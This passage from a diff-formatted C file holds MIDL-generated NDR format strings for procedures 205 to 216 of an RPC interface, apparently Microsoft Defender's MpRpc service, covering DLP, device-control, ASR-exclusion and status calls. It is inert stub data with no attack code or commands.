*/ +/* 11684 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 11686 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11688 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11690 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11692 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11694 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11696 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc205_ServerMpServiceLogMessage */ + +/* 11698 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11700 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11704 */ NdrFcShort( 0xcd ), /* 205 */ +/* 11706 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11708 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11710 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11712 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11714 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11716 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 11718 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11720 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11722 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11724 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11726 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11728 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11730 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11732 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 11734 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11736 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11738 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11740 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11742 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11744 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration */ + +/* 11746 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11748 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11752 */ NdrFcShort( 0xce ), /* 206 */ +/* 11754 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11756 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11758 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11760 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11762 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11764 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 11766 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11768 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11770 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11772 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11774 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11776 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11778 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11780 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 11782 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11784 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11786 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_3 */ + +/* 11788 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11790 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11792 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11794 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11796 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11798 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc207_ServerMpRpcDlpGetEvidenceFileUrl */ + +/* 11800 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11802 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11806 */ NdrFcShort( 0xcf ), /* 207 */ +/* 11808 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 11810 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11812 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11814 */ NdrFcShort( 0x10 ), /* 16 */ +/* 11816 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11818 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x9, /* 9 */ +/* 11820 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11822 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11824 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11826 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11828 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11830 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11832 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11834 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11836 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11838 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11840 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 11842 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11844 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11846 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 11848 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 11850 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11852 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 11854 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 11856 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11858 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_6 */ + +/* 11860 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11862 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 11864 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_7 */ + +/* 11866 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11868 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 11870 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_8 */ + +/* 11872 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11874 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 11876 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11878 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11880 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 11882 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc208_ServerMpRpcDlpCheckAccessForBuffer */ + +/* 11884 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11886 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11890 */ NdrFcShort( 0xd0 ), /* 208 */ +/* 11892 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 11894 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11896 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11898 */ NdrFcShort( 0x10 ), /* 16 */ +/* 11900 */ NdrFcShort( 0x40 ), /* 64 */ +/* 11902 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0xa, /* 10 */ +/* 11904 */ 0xa, /* 10 */ + 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ +/* 11906 */ NdrFcShort( 0x1 ), /* 1 */ +/* 11908 */ NdrFcShort( 0x1 ), /* 1 */ +/* 11910 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11912 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11914 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11916 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11918 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11920 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11922 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11924 */ NdrFcShort( 0x8ce ), /* Type Offset=2254 */ + + /* Parameter arg_3 */ + +/* 11926 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11928 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11930 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 11932 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 11934 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11936 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 11938 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11940 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11942 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 11944 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11946 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 11948 */ NdrFcShort( 0x6c4 ), /* Type Offset=1732 */ + + /* Parameter arg_7 */ + +/* 11950 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11952 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 11954 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_8 */ + +/* 11956 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11958 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 11960 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_9 */ + +/* 11962 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11964 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 11966 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11968 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11970 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 11972 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc209_ServerMpRpcDevVolumesProtectionState */ + +/* 11974 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11976 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11980 */ NdrFcShort( 0xd1 ), /* 209 */ +/* 11982 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11984 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11986 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11988 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11990 */ NdrFcShort( 0x40 ), /* 64 */ +/* 11992 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 11994 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11996 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11998 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12000 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12002 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12004 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12006 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12008 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12010 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12012 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12014 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12016 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12018 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12020 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc210_ServerMpRpcQueryDevVolumeProtectionState */ + +/* 12022 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12024 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12028 */ NdrFcShort( 0xd2 ), /* 210 */ +/* 12030 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12032 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12034 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12036 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12038 */ NdrFcShort( 0x40 ), /* 64 */ +/* 12040 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 12042 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12044 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12046 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12048 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12050 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12052 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12054 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12056 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 12058 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12060 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12062 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12064 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12066 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12068 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12070 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12072 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12074 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc211_ServerMpRpcDlpDispatchAccessEvent */ + +/* 12076 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12078 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12082 */ NdrFcShort( 0xd3 ), /* 211 */ +/* 12084 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12086 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12088 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12090 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12092 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12094 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 12096 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12098 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12100 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12102 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12104 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12106 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12108 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12110 */ NdrFcShort( 0xeda ), /* Type Offset=3802 */ + + /* Parameter arg_2 */ + +/* 12112 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12114 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12116 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12118 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12120 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12122 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc212_ServerMpRpcCheckAccessForCopyFile */ + +/* 12124 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12126 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12130 */ NdrFcShort( 0xd4 ), /* 212 */ +/* 12132 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 12134 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12136 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12138 */ NdrFcShort( 0x28 ), /* 40 */ +/* 12140 */ NdrFcShort( 0x40 ), /* 64 */ +/* 12142 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xa, /* 10 */ +/* 12144 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12146 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12148 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12150 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12152 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12154 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12156 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12158 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12160 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12162 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12164 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12166 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12168 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12170 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 12172 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12174 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12176 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 12178 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12180 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12182 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_6 */ + +/* 12184 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12186 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12188 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_7 */ + +/* 12190 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12192 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 12194 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_8 */ + +/* 12196 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12198 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 12200 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_9 */ + +/* 12202 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12204 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 12206 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12208 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12210 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 12212 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc213_ServerMpRpcAsrSetHipsUserExclusionEx */ + +/* 12214 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12216 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12220 */ NdrFcShort( 0xd5 ), /* 213 */ +/* 12222 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12224 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12226 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12228 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12230 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12232 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 12234 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12236 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12238 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12240 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12242 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12244 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12246 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12248 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 12250 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12252 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12254 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12256 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12258 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12260 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc214_ServerMpRpcGetUpToDateInfo */ + +/* 12262 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12264 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12268 */ NdrFcShort( 0xd6 ), /* 214 */ +/* 12270 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12272 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12274 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12276 */ NdrFcShort( 0x8 ), /* 8 */ +/* 12278 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12280 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 12282 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12284 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12286 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12288 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12290 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12292 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12294 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12296 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12298 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12300 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12302 */ NdrFcShort( 0xf10 ), /* Type Offset=3856 */ + + /* Parameter arg_3 */ + +/* 12304 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12306 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12308 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12310 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12312 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12314 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc215_ServerMpRpcSendDlpEventDataToEngine */ + +/* 12316 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12318 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12322 */ NdrFcShort( 0xd7 ), /* 215 */ +/* 12324 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12326 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12328 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12330 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12332 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12334 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 12336 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12338 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12340 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12342 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12344 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12346 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12348 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12350 */ NdrFcShort( 0xf58 ), /* Type Offset=3928 */ + + /* Parameter arg_2 */ + +/* 12352 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12354 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12356 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12358 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12360 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12362 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc216_ServerMpRpcAccessibilityAsyncEvent */ + +/* 12364 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12366 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12370 */ NdrFcShort( 0xd8 ), /* 216 */ +/* 12372 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 12374 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12376 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12378 */ NdrFcShort( 0x20 ), /* 32 */ +/* 12380 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12382 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 12384 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12386 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12388 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12390 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12392 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12394 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12396 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12398 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12400 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12402 */ 